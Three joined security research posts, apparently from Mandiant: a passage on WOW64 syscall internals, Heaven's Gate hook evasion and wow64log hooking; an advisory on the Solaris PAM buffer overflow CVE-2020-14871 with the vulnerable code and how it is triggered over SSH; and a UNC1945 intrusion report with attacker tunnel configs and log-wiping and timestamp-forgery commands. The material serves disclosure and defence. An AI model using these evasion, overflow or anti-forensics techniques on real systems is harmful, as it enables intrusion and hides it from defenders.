Notice that instead of a syscall instruction in the WOW64 version, Wow64SystemServiceCall is called. In the WOW64 system what would normally be an entry into the kernel is instead replaced by a call to a usermode routine. Following this Wow64SystemServiceCall, we can see in Figure 3 that it immediately performs an indirect jmp through a pointer named Wow64Transition.

Figure 3: Wow64SystemService transitions through a pointer ‘Wow64Transition’

Note that the Wow64SystemServiceCall function is found within ntdll labeled as ntdll_77550000; a WOW64 process has two ntdll modules loaded, a 32-bit one and a 64-bit one. WinDbg differentiates between these two by placing the address of the module after the 32-bit variant. The 64-bit ntdll can be found in %WINDIR%\System32 and the 32-bit in %WINDIR%\SysWOW64. In the PDBs, the 64bit and 32bit ntdlls are referred to as ntdll.pdb and wntdll.pdb respectively, try loading them in a disassembler! Continuing with the call trace, if we look at what the Wow64Transition pointer holds we can see its destination is wow64cpu!KiFastSystemCall. As an aside, note that the address of wow64cpu!KiFastSystemCall is held in the 32-bit TEB (Thread Environment Block) via member WOW32Reserved, this isn’t relevant for this trace but is useful to know. In Figure 4 we see the body of KiFastSystemCall.

Figure 4: KiFastSystemCall transitions to x64 mode via segment selector 0x33

The KiFastSystemCall performs a jmp using the 0x33 segment selector to a memory location just after the instruction. This 0x33 segment transitions the CPU into 64-bit mode via a GDT entry as described by (MalwareTech).

Let's recap the trace we've performed to this point. We started from a call in ntdll, NtResumeThread. This function calls the Wow64SystemServiceCall function which then executes the Wow64Transition. The KiFastSystemCall performs the transition from 32-bit to 64-bit execution. The flow is shown in Figure 5.

Figure 5: 32-bit to 64-bit transition

The destination of the CPU transition jump is the 64-bit code show in Figure 6.

Figure 6: Destination of KiFastSystemCall

Figure 6 shows the first 64-bit instruction we’ve seen executed in this call trace so far. In order to understand it, we need to look at how the WOW64 system initializes itself. For a detailed explanation of this refer to (wbenny). For now, we can look at the important parts in wow64cpu!RunSimulatedCode.

Figure 7: 64bit registers are saved in RunSimulatedCode

Figure 7 depicts the retrieval of the 64-bit TEB which is used to access Thread Local Storage at slot index 1. Then the moving of a function pointer table into register r15. The TLS data retrieved is an undocumented data structure WOW64_CPURESERVED that contains register data and CPU state information used by the WOW64 layer to set and restore registers across the 32-bit and 64-bit boundaries. Within this structure is the WOW64_CONTEXT structure, partially documented on the Microsoft website. I have listed both structures at the end of this post. We’ll look at how this context structure is used later, but for our understanding of the jmp earlier all we need to know is that r15 is a function pointer table.

It’s interesting to note at this point the architecture of the WOW64 layer. From the perspective of the 64-bit kernel the execution of 32-bit (Wow64) usermode applications is essentially a big while loop. The loop executes x86 instructions in the processor's 32-bit execution mode and occasionally exits the loop to service a system call. Because the kernel is 64-bit, the processor mode is temporarily switched to 64-bit, the system call serviced, then the mode switched back and the loop continued where it was paused. One could say the WOW64 layer acts like an emulator where the instructions are instead executed on the physical CPU.

Going back to the jmp instruction we saw in Figure 6, we now know what is occurring. The instruction jmp [r15 + 0xF8] is equivalent to the C code jmp TurboThunkDispatch[0xF8 / sizeof(uint64_t)]. Looking at the function pointer at this index we can see we’re at the function wow64cpu!CpupReturnFromSimulatedCode (Figure 8).

Figure 8: TurboThunk table's last function pointer entry is an exit routine

This routine is responsible for saving the state of the 32-bit registers into the WOW64_CONTEXT structure we mentioned before as well as retrieving the arguments for the syscall. There is some trickiness going on here, so let’s examine this in detail. First a pointer to the stack is moved into r14 via xchg, the value at this location will be the return address from the syscall stub where Wow64SystemServiceCall was called. The stack pointer r14 is then incremented by 4 to get a pointer to where the stack should be reset when it’s time to restore all these context values. These two values are then stored in the context’s EIP and ESP variables respectively. The r14 stack pointer is then incremented one more time to get the location where the __stdcall arguments are (remember stdcall passes all arguments on the stack). This argument array is important for later, remember it. The arguments pointer is moved into r11, so in C this means that r11 is equivalent to an array of stack slots where each slot is an argument uint32_t r11[argCount]. The rest of the registers and EFlags are then saved.

Once the 32-bit context is saved, the WOW64 layer then calculates the appropriate TurboThunk to invoke by grabbing the upper 16 bits of the syscall number and dispatches to that thunk. Note that at the beginning of this array is the function TurboDispatchJumpAddressEnd, shown in Figure 9, which is invoked for functions that do not support TurboThunks.

Figure 9: TurboThunk table's first function pointer entry is an entry routine

TurboThunks are described by (wbenny)—read his blog post at this point if you have not. To summarize the post, for functions that have simple arguments with widths <= sizeof(uint32_t) the WOW64 layer will directly widen these arguments to 64 bits via zero or sign-extension and then perform a direct syscall into the kernel. This all occurs within wow64cpu, rather than executing a more complex path detailed as follows. This acts as an optimization. For more complex functions that do not support TurboThunks the TurboDispatchJumpAddressEnd stub is used which dispatches to wow64!SystemServiceEx to perform the system call as shown in Figure 10.

Figure 10: Complex system calls go through Wow64SystemServiceEx

We’ll look at this routine in a moment as it’s the meat of this blog post, but for now let’s finish this call trace. Once Wow64SystemServiceEx returns from doing the system call the return value in eax is moved into the WOW64_CONTEXT structure and then the 32-bit register states are restored. There’s two paths for this, a common case and a case that appears to exist only to be used by NtContinue and other WOW64 internals. A flag at the start of the WOW64_CPURESERVED structure retrieved from the TLS slot is checked, and controls which restore path to follow as shown in Figure 11.

Figure 11: CPU state is restored once the system call is done; there’s a simple path and a complex one handling XMM registers

The simpler case will build a jmp that uses the segment selector 0x23 to transition back to 32-bit mode after restoring all the saved registers in the WOW64_CONTEXT. The more complex case will additionally restore some segments, xmm values, and the saved registers in the WOW64_CONTEXT structure and then will do an iret to transition back. The common case jmp once built is shown in Figure 12.

Figure 12: Dynamically built jmp to transition back to 32bit mode

At this point our call trace is complete. The WOW64 layer has transitioned back to 32-bit mode and will continue execution at the ret after Wow64SystemServiceCall in the syscall stub we started with. Now that an understanding of the flow of the WOW64 layer itself is understood, let’s examine the Wow64SystemServiceEx call we glossed over before.

A little bit into the Wow64SystemServiceEx routine, Figure 13 shows some interesting logic that we will use later.

Figure 13: Logging routines invoked before and after dispatching the syscalls

The routine starts by indexing into service tables which hold pointers to routines that convert the passed argument array into the wider 64-bit types expected by the regular 64-bit system modules. This argument array is exactly the stack slot that was stored earlier in r14.

Two calls to the LogService function exist, however these are only called if the DLL %WINDIR%\system32\wow64log.dll is loaded and has the exports Wow64LogInitialize, Wow64LogSystemService, Wow64LogMessageArgList, and Wow64LogTerminate. This DLL is not present on Windows by default, but it can be placed there with administrator privileges.

The next section will detail how this logging DLL can be used to hook syscalls that transition through this wow64layer. Because the logging routine LogService is invoked before and after the syscall is serviced we can achieve a standard looking inline hook style callback function capable of inspecting arguments and return values.

#### Bypassing Inline Hooks

As described in this blog post, Windows provides a way for 32-bit applications to execute 64-bit syscalls on a 64-bit system using the WOW64 layer. However, the segmentation switch we noted earlier can be manually performed, and 64-bit shellcode can be written to setup a syscall. This technique is popularly called “Heaven’s Gate”. JustasMasiulis’ work call_function64 can be used as a reference to see how this may be done in practice (JustasMasiulis). When system calls are performed this way the 32-bit syscall stub that the WOW64 layer uses is completely skipped in the execution chain. This is unfortunate for security products or tracing tools because any inline hooks in-place on these stubs are also bypassed. Malware authors know this and utilize “Heaven’s Gate” as a bypass technique in some cases. Figure 14 and Figure 15 shows the execution flow of a regular syscall stub through the WOW64 layer, and hooked syscall stub where malware utilizes “Heaven’s Gate”.

Figure 14: NtResumeThread transitioning through the WOW64 layer

Figure 15: NtResumeThread inline hook before transitioning through the WOW64 layer

As seen in Figure 15, when using the Heaven’s Gate technique, execution begins after the inline hook and WOW64 layer is done. This is an effective bypass technique, but one that is easy to detect from a lower level such as a driver or hypervisor. The easiest bypass to inline hooks is simply to restore the original function bytes, usually from bytes on disk. Malware such as AgentTesla and Conti has been known to utilize this last evasion technique.

#### Hooking WOW64 via Inline Hooks

As a malware analyst being able to detect when samples attempt to bypass the WOW64 layer can be very useful. The obvious technique to detect this is to place inline hooks on the 64-bit syscall stubs as well as the 32-bit syscall stubs. If the 64-bit hook detects an invocation that didn’t also pass through the 32-bit hook, then it’s known that a sample is utilizing Heaven’s Gate. This technique can detect both evasion techniques previously detailed. However, in practice this is very difficult to implement. Looking at the requirements that must be satisfied to hook the 64-bit syscall stub we come up with this list:

1. Install 64-bit hook from a 32-bit module
• How do you read/write 64-bit address space from a 32-bit module?
2. Implement a 64-bit callback from a 32-bit module
• Typically, inline hooking uses C functions as callback stubs, but we’re compiling a 32-bit module so we’ll have a 32-bit callback instead of the required 64-bit one.

To solve the first challenge ntdll kindly provides the exports NtWow64ReadVirtualMemory64, NtWow64WriteVirtualMemory64, and NtWow64QueryInformationProcess64. Using these it is possible to read memory, write memory, and retrieve the PEB of a 64-bit module from a 32-bit process. However, the second challenge is much harder as either shellcode or a JIT will be required to craft a callback stub of the right bitness. In practice ASMJIT may be utilized for this. This is however a very tedious technique to trace a large number of APIs. There are other challenges to this technique as well. For example, in modern Windows 10 the base address of ntdll64 is set to a high 64-bit address rather than a lower 32-bit address as in Windows 7. Due to this, supporting returns from callbacks back up to the original hooked stub and allocating a trampoline within the required memory range is difficult since the standard ret instruction doesn’t have enough bits on the stack to represent the 64-bit return address.

As an aside, it should be noted that the WOW64 layer contains what is likely a bug when dealing with the NtWow64* functions. These APIs all take a HANDLE as first argument, which should be sign extended to 64-bits. However, this does not occur for these APIs, therefore when using the pseudo handle -1 the call fails with STATUS_INVALID_HANDLE. This bug was introduced in an unknown Windows 10 version. To successfully use these APIs OpenProcess must be used to retrieve a real, positive valued handle.

I will not be covering the internals of how to inline hook the 64-bit syscall stub since this post is already very long. Instead I will show how my hooking library PolyHook2 can be extended to support cross-architecture hooking using these Windows APIs, and leave the rest as an exercise to the reader. This works because PolyHook’s trampolines are not limited to +-2GB and do not spoil registers. The internals of how that is achieved is a topic for another post. Figure 16 depicts how to overload the C++ API of polyhook to read/write memory using the aforementioned WinAPIs.

Once these inline hooks are in-place on the 64-bit syscall stubs, any application utilizing Heaven’s Gate will be properly intercepted. This hooking technique is very invasive and complicated and can still be bypassed if a sample was to directly execute a syscall instruction rather than using the 64-bit module’s syscalls stub. Therefore, a driver or hypervisor is more suitable to detect this evasion technique. Instead we can focus on the more common byte restoration evasion techniques and look for a way to hook the WOW64 layer itself. This doesn’t involve assembly modifications at all.

#### Hooking WOW64 via LogService

Thinking back to the WOW64 layer’s execution flow we know that all calls which are sent through the Wow64SystemServiceEx routine may invoke the routine Wow64LogSystemService if the logging DLL is loaded. We can utilize this logging DLL and routine to implement hooks which can be written the exact same way as inline hooks, without modifying any assembly.

The first step to implementing this is to force all API call paths through the Wow64SystemServiceEx routine so that the log routine may be called. Remember earlier that those that support TurboThunks will not take this path. Lucky for us we know that any TurboThunk entry that points to TurboDispatchJumpAddressEnd will take this path. Therefore, by pointing every entry in the TurboThunk table to point at that address, the desired behavior is achieved. Windows kindly implements this patching via wow64cpu!BTCpuTurboThunkControl as shown in Figure 17.

Figure 17: Patching the TurboThunk table is implemented for us

Note that in previous Windows versions the module which exported this and how it did is different to Windows 10, version 2004. After invoking this patch routine all syscall paths through WOW64 go through Wow64SystemServiceEx and we can focus on crafting a logging DLL that man-in-the-middles (MITMs) all calls. There are a couple of challenges to be considered here:

1. How do we determine which system call is currently occurring from the logging DLL?
2. How are callbacks written? Wow64log is 64-bit DLL, we’d like a 32-bit callback.
• Is shellcode required, or can we make nice C style function callbacks?
3. What APIs may we call? All that’s loaded is 64-bit ntdll.

The first concern is rather easy, from within the wow64log DLL we can read the syscall number from the syscall stubs to create a map of number to name. This is possible because syscall stubs always start with the same assembly and the syscall number is at a static offset of 0x4. Figure 18 shows how we can then compare the values in this map against the syscall number passed to Wow64LogSystemService’s parameter structure WOW64_LOG_SERVICE.

 typedef uint32_t* WOW64_ARGUMENTS; struct WOW64_LOG_SERVICE {       uint64_t BtLdrEntry;       WOW64_ARGUMENTS Arguments;       ULONG ServiceTable;       ULONG ServiceNumber;       NTSTATUS Status;       BOOLEAN PostCall; }; EXTERN_C __declspec(dllexport) NTSTATUS NTAPI Wow64LogSystemService(WOW64_LOG_SERVICE* service) {      for (uint32_t i = 0; i < LAST_SYSCALL_ID; i++) {         const char* sysname = SysCallMap[i].name;         uint32_t syscallNum = SysCallMap[i].SystemCallNumber;         if (ServiceParameters->ServiceNumber != syscallNum)             continue;         //LOG sysname      } }

Figure 18: Minimal example of determining which syscall is occurring—in practice the service table must be checked too

Writing callbacks is a bit more challenging. The wow64log DLL is executing in 64-bit mode and we’d like to be able to write callbacks in 32-bit mode since it’s very easy to load additional 32-bit modules into a WOW64 process. The best way to handle this is to write shellcode which is capable of transitioning back to 32-bit mode, execute the callback, then go back to 64-bit mode to continue execution in the wow64log DLL. The segment transitions themselves are rather easy at this point, we know we just need to use 0x23 or 0x33 segment selectors when jumping. But we also need to deal with the calling convention differences between 64-bit and 32-bit. Our shellcode will therefore be responsible for moving 64-bit arguments’ register/stack slots to the 32-bit arguments register/stack slots. Enforcing that 32-bit callbacks may only be __cdecl makes this easier as all arguments are on the stack and the shellcode has full control of stack layout and cleanup. Figure 19 shows the locations of the arguments for each calling convention. Once the first 4 arguments are relocated all further arguments can be moved in a loop since it’s simply moving stack values into lower slots. This is relatively easy to implement using external masm files in MSVC. Raw bytes will need to be emitted at points rather than using the assembler due to the mix of architectures. Alternatively, GCC or Clang inline assembly could be used. ReWolf’s work achieves the opposite direction of 32-bit -> 64-bit and implements the shellcode via msvc inline asm. X64 MSVC doesn’t support this and there are complications with REX prefixes when using that method. It’s nicer to use external masm files and rely on the linker to implement this shellcode.

 Arg Number Cdecl Location Fastcall Location Special Case? 0 [ebp + 8] rcx Yes 1 [ebp + 12] rdx Yes 2 [ebp + 16] r8d Yes 3 [ebp + 20] r9d Yes 4 [ebp + 24] [rbp + 32 + 8] No 5 [ebp + 28] [rbp + 32 + 16] No 6 [ebp + 32] [rbp + 32 + 24] No

Figure 19: Cdecl vs Fastcall argument positions

Once this shellcode is written and wrapped into a nice C++ function, it’s possible for the wow64log DLL to invoke the callback via a simple C style function pointer call shown in Figure 20.

Figure 20: call_function32 invokes shellcode to call a 32-bit callback from the 64-bit logging DLL

From within the 32-bit callback any desired MITM operations can be performed, but restrictions exist on which APIs are callable. Due to the context saving that the WOW64 layer performs, 32-bit APIs that would re-enter the WOW64 layer may not be called as the context values would be corrupted. We are therefore limited to only APIs that won’t re-enter WOW64, which are those that are exported from the 64-bit ntdll. The NtWriteFile export may be used to easily write to stdout or a file, but we must re-enter the 64-bit execution mode and do the inverse argument mapping as before. This logging routine can be called from within the 32-bit callbacks and is shown in Figure 21 and Figure 22.

Figure 21: call_function64 invokes shellcode to call the 64bit WriteFile from with the 32bit callback

Figure 22: 32bit callbacks must log via routines that only call non-reentrant WOW64 APIs

The result is clean looking callback stubs that function exactly how inline hooks might, but with zero assembly modifications required. Arguments can easily be manipulated as well, but the return status may not be modified unless a little stack walk hackery is implemented. The only other consideration is that the wow64log DLL itself needs to be carefully crafted to not build with any CRT mechanisms. The flags required are:

• Disable CRT with /NODEFAULT LIB (all C APIs now unavailable), set a new entry point name to not init CRT NtDllMain
• Disable all CRT security routines /GS-
• Disable C++ exceptions
• Use extern “C” __declspec(dllimport) <typedef> to link against the correct NtApis

An example of a program hooking its own system calls via wow64log inline hooks is shown in Figure 23.

Figure 23: Demonstration of inline hooks in action

#### Conclusion

Using inline WOW64 hooks, wow64log hooks, and kernel/hypervisor hooks, all techniques of usermode hook evasion can be identified easily and automatically. Detecting which layers of hooks are skipped or bypassed will give insight into which evasion technique is employed. The identifying table is:

 Evasion Mode 32bit Inline wow64Log 64bit Inline Kernel/Hypervisor Prologue Restore ❌ ✔ ✔ ✔ Heavens Gate sys-stub ❌ ❌ ✔ ✔ Heavens Gate direct syscall ❌ ❌ ❌ ✔

#### Structure Appendix

struct _WOW64_CPURESERVED
{
USHORT Flags;
USHORT MachineType;
WOW64_CONTEXT Context;
char ContextEx[1024];
};

typedef ULONG *WOW64_LOG_ARGUMENTS;
struct _WOW64_SYSTEM_SERVICE
{
unsigned __int32 SystemCallNumber : 12;
unsigned __int32 ServiceTableIndex : 4;
unsigned __int32 TurboThunkNumber : 5;
unsigned __int32 AlwaysZero : 11;
};
#pragma pack(push, 1)
struct _WOW64_FLOATING_SAVE_AREA
{
DWORD ControlWord;
DWORD StatusWord;
DWORD TagWord;
DWORD ErrorOffset;
DWORD ErrorSelector;
DWORD DataOffset;
DWORD DataSelector;
BYTE RegisterArea[80];
DWORD Cr0NpxState;
};
#pragma pack(pop)

#pragma pack(push, 1)
struct _WOW64_CONTEXT
{
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
WOW64_FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs;
DWORD EFlags;
DWORD Esp;
DWORD SegSs;
BYTE ExtendedRegistersUnk[160];
M128A Xmm0;
M128A Xmm1;
M128A Xmm2;
M128A Xmm3;
M128A Xmm4;
M128A Xmm5;
M128A Xmm6;
M128A Xmm7;
M128A Xmm8;
M128A Xmm9;
M128A Xmm10;
M128A Xmm11;
M128A Xmm12;
M128A Xmm13;
M128A Xmm14;
M128A Xmm15;
};
#pragma pack(pop)

# In Wild Critical Buffer Overflow Vulnerability in Solaris Can Allow Remote Takeover — CVE-2020-14871

FireEye Mandiant has been investigating compromised Oracle Solaris machines in customer environments. During our investigations, we discovered an exploit tool on a customer’s system and analyzed it to see how it was attacking their Solaris environment. The FLARE team’s Offensive Task Force analyzed the exploit to determine how it worked, reproduced the vulnerability on different versions of Solaris, and then reported it to Oracle. In this blog post we present a description of the vulnerability, offer a quick way to test whether a system may be vulnerable, and suggest mitigations and workarounds. Mandiant experts from the FLARE team will provide more information on this vulnerability and how it was used by UNC1945 during a Nov. 12 webinar. Register today and start preparing questions, because we will be fielding them from the audience at the end of the session.

#### Vulnerability Discovery

The security vulnerability occurs in the Pluggable Authentication Modules (PAM) library. PAM enables a Solaris application to authenticate users while allowing the system administrator to configure authentication parameters (e.g., password complexity and expiration) in one location that is consistently enforced by all applications.

The actual vulnerability is a classic stack-based buffer overflow located in the PAM parse_user_name function. An abbreviated version of this function is shown in Figure 1.

 static int parse_user_name(char *user_input, char **ret_username) {             register char *ptr;             register int index = 0;             char username[PAM_MAX_RESP_SIZE];        /* ... */             ptr = user_input;        /* ... */              /*              * username will be the first string we get from user_input              * - we skip leading whitespaces and ignore trailing whitespaces              */             while (*ptr != '\0') {                   if ((*ptr == ' ') || (*ptr == '\t'))                                break;                   else {                                username[index] = *ptr;                                index++;                                ptr++;                   }             }              /* ret_username will be freed in pam_get_user(). */             if ((*ret_username = malloc(index + 1)) == NULL)                   return (PAM_BUF_ERR);             (void) strcpy(*ret_username, username);             return (PAM_SUCCESS); }

Figure 1: The parse_user_name function has a stack-based buffer overflow vulnerability

The vulnerability arises whenever a username longer than PAM_MAX_RESP_SIZE (512 bytes) is passed to parse_user_name. The vulnerability has likely existed for decades, and one possible reason is that it is only exploitable if an application does not already limit usernames to a smaller length before passing them to PAM. One situation where network-facing software does not always limit the username length arises in the SSH server, and this is the exploit vector used by the tool that we discovered.

SSH Keyboard-Interactive authentication is a “passthrough” authentication mechanism where the SSH protocol relays prompts and responses between the server’s PAM libraries and the client. It was designed to support custom forms of authentication such as two-factor without modifying the SSH protocol. By manipulating SSH client settings to force Keyboard-Interactive authentication to prompt for the username rather than sending it through normal means, an attacker can also pass unlimited input to the PAM parse_user_name function.

#### Proof of Concept Exploit

In order to quickly test different versions of Solaris to see if they may be vulnerable, we developed a proof of concept exploit to trigger the overflow and crash the SSH server. The standard OpenSSH client offers all the options needed to trigger the vulnerability (Figure 2).

Figure 2: A server can be quickly tested to see if it is vulnerable over SSH

The indication that the server is vulnerable is that the SSH client prints “Authentication failed;” a non-vulnerable PAM library causes the SSH server to repeatedly prompt for a username if it receives one that is too long. The overflow in the PAM library also causes the SSH server to crash, as shown in Figure 3. The operating system writes a crash dump to /core if the SSH server crashes with no debugger attached. In fact, if a /core file exists on a Solaris machine and the file command reports that it is from sshd, those are indicators consistent with this vulnerability having been exploited.

Figure 3: The SSH server crashes in the parse_user_name function

#### Vulnerable Operating Systems

• Solaris 9 (some releases)
• Solaris 10 (all releases)
• Solaris 11.0
• While the parse_user_name function remains vulnerable in unpatched Solaris 11.1 and later, unrelated changes to the PAM library truncate the username before the vulnerable function receives it, rendering the issue non-exploitable via SSH. If the parse_user_name function were reachable in another context, then the vulnerability could become exploitable.
• Illumos (OpenIndiana 2020.04)

#### Mitigations and Workaround

A patch from Oracle for Solaris 10 and 11 is described in the October 2020 Critical Patch Update.

Because Solaris 9 is no longer supported, Oracle has not released a patch. For Solaris 9, as well as Solaris 10 or 11 systems where patching is inconvenient, we recommend editing the /etc/ssh/sshd_config file to add the lines ChallengeResponseAuthentication no and KbdInteractiveAuthentication no and restart the SSH server. While this removes the opportunity to exploit the vulnerability using SSH Keyboard-Interactive authentication, there may be other ways to attack the parse_user_name function and we recommend using this workaround only as a stopgap until Solaris 9 systems can be upgraded, or the October patch can be accessed and installed for supported Solaris versions.

#### Acknowledgements

Jeffrey Martin of Rapid7 contributed to the testing of this vulnerability.

# Live off the Land? How About Bringing Your Own Island? An Overview of UNC1945

Through Mandiant investigation of intrusions, the FLARE Advanced Practices team observed a group we track as UNC1945 compromise managed service providers and operate against a tailored set of targets within the financial and professional consulting industries by leveraging access to third-party networks (see this blog post for an in-depth description of “UNC” groups).

UNC1945 targeted Oracle Solaris operating systems, utilized several tools and utilities against Windows and Linux operating systems, loaded and operated custom virtual machines, and employed techniques to evade detection. UNC1945 demonstrated access to exploits, tools and malware for multiple operating systems, a disciplined interest in covering or manipulating their activity, and displayed advanced technical abilities during interactive operations.

Mandiant discovered and reported to Oracle CVE-2020-14871, which was addressed in Oracle's October 2020 Critical Patch Update. Mandiant recommends staying current on all current patch updates to ensure a high security posture. We will discuss this vulnerability in greater detail in a follow up blog post.

#### UNC1945 Attack Lifecycle

The threat actor demonstrated experience and comfort by utilizing unique tactics, techniques and procedures (TTPs) within Unix environments, demonstrating a high level of acumen in conjunction with ease of operability in Microsoft Windows operating systems. They were successful navigating multiple segmented networks and leveraging third-party access to extend operations well beyond the initial victim. Furthermore, UNC1945 operated from several virtual machines pre-configured with post-exploitation tools in addition to their custom toolset to evade detection and forensics.

#### Initial Compromise

In late 2018, UNC1945 gained access to a Solaris server and installed a backdoor we track as SLAPSTICK in order to capture connection details and credentials to facilitate further compromise. The SSH service of this server was exposed to the internet at the time, the same time we observed first evidence of threat activity. Unfortunately, due to insufficient available evidence, the next indication of activity was in mid-2020 at which time a different Solaris server was observed connecting to the threat actor infrastructure. This indicates a dwell time of approximately 519 days based on recovered artifacts.

• Although we were unable to determine how the late-2018 initial access was accomplished, we did observe successful UNC1945 SSH connections directly to the victim Solaris 10 server, since the SSH service was exposed directly to the internet at the time.
• In mid-2020, we observed UNC1945 deploy EVILSUN—a remote exploitation tool containing a zero-day exploit for CVE-2020-14871—on a Solaris 9 server. At the time, connections from the server to the threat actor IP address were observed over port 8080.
• Mandiant discovered and reported CVE-2020-14871, a recently patched vulnerability in the Oracle Solaris Pluggable Authentication Module (PAM) that allows an unauthenticated attacker with network access via multiple protocols to exploit and compromise the operating system.
• According to an April 2020 post on a black-market website, an “Oracle Solaris SSHD Remote Root Exploit” was available for approximately $3,000 USD, which may be identifiable with EVILSUN. • Additionally, we confirmed a Solaris server exposed to the internet had critical vulnerabilities, which included the possibility of remote exploitation without authentication. #### Establish Foothold and Maintain Persistence The threat actor used a Solaris Pluggable Authentication Module backdoor we refer to as SLAPSTICK to establish a foothold on a Solaris 9 server. This facilitated user access to the system with a secret hard-coded password and allowed the threat actors to escalate privileges and maintain persistence (see Figure 1).  Log –font –unix | /usr/lib/ssh/sshd sshd kbdint - can Magical Password auth.info | sshd[11800]: [ID 800047 auth.info] Accepted keyboard-interactive for root from port 39680 ssh2 auth.notice | su: [ID 366847 auth.notice] ‘su root’ - succeeded for netcool on /dev/pts/31 Figure 1: SLAPSTICK logs At the initial victim, UNC1945 placed a copy of a legitimate pam_unix.so file and SLAPSTICK in the /lib64/security folder. A day later, the threat actor positioned a custom Linux backdoor, which Mandiant named LEMONSTICK, on the same workstation. LEMONSTICK capabilities include command execution, file transfer and execution, and the ability to establish tunnel connections. (see Figure 2).  FileItem:changed | /usr/lib64/security/pam_unix,so [57720] Audit log | [audit_type: USER_END] user pid=10080 uid=0 auid=0 msg='PAM: session close acct=root" : exe="/usr/sbin/sshd" (hostname=1.239.171.32, addr=1.239.171.32, terminal=ssh res=success)'" FileItem:Accessed | /var/tmp/.cache/ocb_static Figure 2: UNC1945 emplacement of SLAPSTICK UNC1945 obtained and maintained access to their external infrastructure using an SSH Port Forwarding mechanism despite the host lacking accessibility to the internet directly. SSH Port Forwarding is a mechanism implemented in SSH protocol for transporting arbitrary networking data over an encrypted SSH connection (tunneling). This feature can be used for adding encryption to legacy applications traversing firewalls or with malicious intent to access internal networks from the the internet. The UNC1945 configurations we observed are similarly structured with respect to the host alias, specified options, and option order (see Figure 3).  config1 config2 Host HostName Port 900 User IdentityFile KbdInteractiveAuthentication no PasswordAuthentication no NoHostAuthenticationForLocalhost yes StrictHostKeyChecking no UserKnownHostsFile /dev/null RemoteForward 33002 127.0.0.1:22 Host HostName Port 443 User IdentityFile KbdInteractiveAuthentication no PasswordAuthentication no NoHostAuthenticationForLocalhost yes StrictHostKeyChecking no UserKnownHostsFile /dev/null ServerAliveInterval 30 ServerAliveCountMax 3 RemoteForward 2224 :22 Figure 3: SSH config files used by UNC1945 at different incidents As part of this multi-stage operation, UNC1945 dropped a custom QEMU Virtual Machine (VM) on multiple hosts, which was executed inside of any Linux system by launching a ‘start.sh’ script. The script contained TCP forwarding settings that could be used by the threat actor in conjunction with the SSH tunnels to give direct access from the threat actor VM to the command and control server to obfuscate interaction with customer infrastructure. The VM was running a version of the Tiny Core Linux OS with pre-loaded scripts and tools. Also, we analyzed the Virtual Machine file system timestamps, which coincided with UNC1945's overall operational timeline. The VM contained numerous tools such as network scanners, exploits and reconnaissance tools. Tiny Core Linux pre-loaded tools included Mimikatz, Powersploit, Responder, Procdump, CrackMapExec, PoshC2, Medusa, JBoss Vulnerability Scanner and more. Efforts to decrease operational visibility included placing tool and output files within temporary file system mount points that were stored in volatile memory. Additionally, UNC1945 used built-in utilities and public tools to modify timestamps and selectively manipulate Unix log files. UNC1945 employed anti-forensics techniques with the use of a custom ELF utility named LOGBLEACH. The actor used built-in Linux commands to alter the timestamps of files and directories and used LOGBLEACH to clean logs to thwart forensic analysis, as seen in Figure 4. $ ./b -C -y -a $mv b /usr/lib64/libXbleach.so.1$ cd /usr/lib64/ $touch -acm -r librpmio.so.3.2.2$ touch -acm -r libyaml-0.so.2

Figure 4: LOGBLEACH

To further obfuscate activity, a Linux ELF packer named STEELCORGI was executed in memory on the Solaris system. The malware contains various anti-analysis techniques, including anti-debugging, anti-tracing, and string obfuscation. It uses environment variables as a key to unpack the final payload.

#### Escalate Privileges and Lateral Movement

After successfully establishing a foothold, UNC1945 collected credentials, escalated privileges, and successfully moved laterally through multiple networks.

UNC1945 obtained credentials via SLAPSTICK and open source tools such as Mimikatz, which enabled easy lateral movement throughout networks to obtain immediate access to other segments of the network and third-party environments. Stolen credentials collected by SLAPSTICK were used to traverse the customer network via SSH and deploy SLAPSTICK to additional hosts. After successfully authenticating, SLAPSTICK displays a welcome message, as seen in Figure 5.

Figure 5: SLAPSTICK backdoor welcome banner

UNC1945 used ProxyChains to download PUPYRAT, an open source, cross-platform multi-functional remote administration and post-exploitation tool mainly written in Python.

At one target, the threat actor used a virtual machine to initiate a brute-force of SSH targeting Linux and HP-UX endpoints. Beginning with seemingly random usernames and shifting to legitimate Linux and Windows accounts, the threat actor successfully established SSH connections on a Linux endpoint. After successfully escalating privileges on an HP-UX endpoint and a Linux endpoint, UNC1945 installed three backdoors: SLAPSTICK, TINYSHELL, and OKSOLO.

We observed UNC1945 use IMPACKET with SMBEXEC in a Microsoft Windows environment to execute commands remotely without the need to upload a payload to the target. SMBEXEC allows the threat actor to operate like PsExec, but without using RemComSvc. There are two main modes of using this tool that benefits attackers. Share mode allows the specification of a share that everything will be executed through. Server mode permits the output of the executed commands to be sent back by the target machine into a locally shared folder.

At one victim, we observed UNC1945 moving laterally via Remote Desktop Protocol (RDP) to a Windows server before viewing the Server Manager Panel, viewing and modifying RDP-related system firewall rules and checking the application settings of two endpoint security services.

#### Internal Reconnaissance

Mandiant investigations found that the threat actor maintains various tools to interact with victim networks. In addition to custom tools, the UNC1945 VMs contained various tools (e.g. network scanners, exploits and reconnaissance; see Associated Tools and Malware section).

In some intrusions, UNC1945 employed a SPARC executable identified as a reconnaissance tool. Based on publicly available information, this executable could be referred to as Luckscan or BlueKeep, the latter of which is part of the BKScan toolkit (see Figure 6).

Figure 6: SPARC executable recon tool command line used by the threat actor

According to open sources, BlueKeep, aka “bkscan” scanner, works both unauthenticated and authenticated (i.e. when Network Level Authentication is enabled). BlueKeep (CVE-2019-0708) is a security vulnerability that was discovered in Microsoft's Remote Desktop Protocol (RDP) implementation, which allows for the possibility of remote code execution.

#### Complete Mission

Despite this multi-staged operation, Mandiant did not observe evidence of data exfiltration and was unable to determine UNC1945's mission for most of the intrusions we investigated. In at least one case, we observed ROLLCOAST ransomware deployment in the final phase of the threat actor activity, but Mandiant didn’t attribute this activity to UNC1945. At this time, it is likely that access to the victim environment was sold to another group.

#### Conclusion

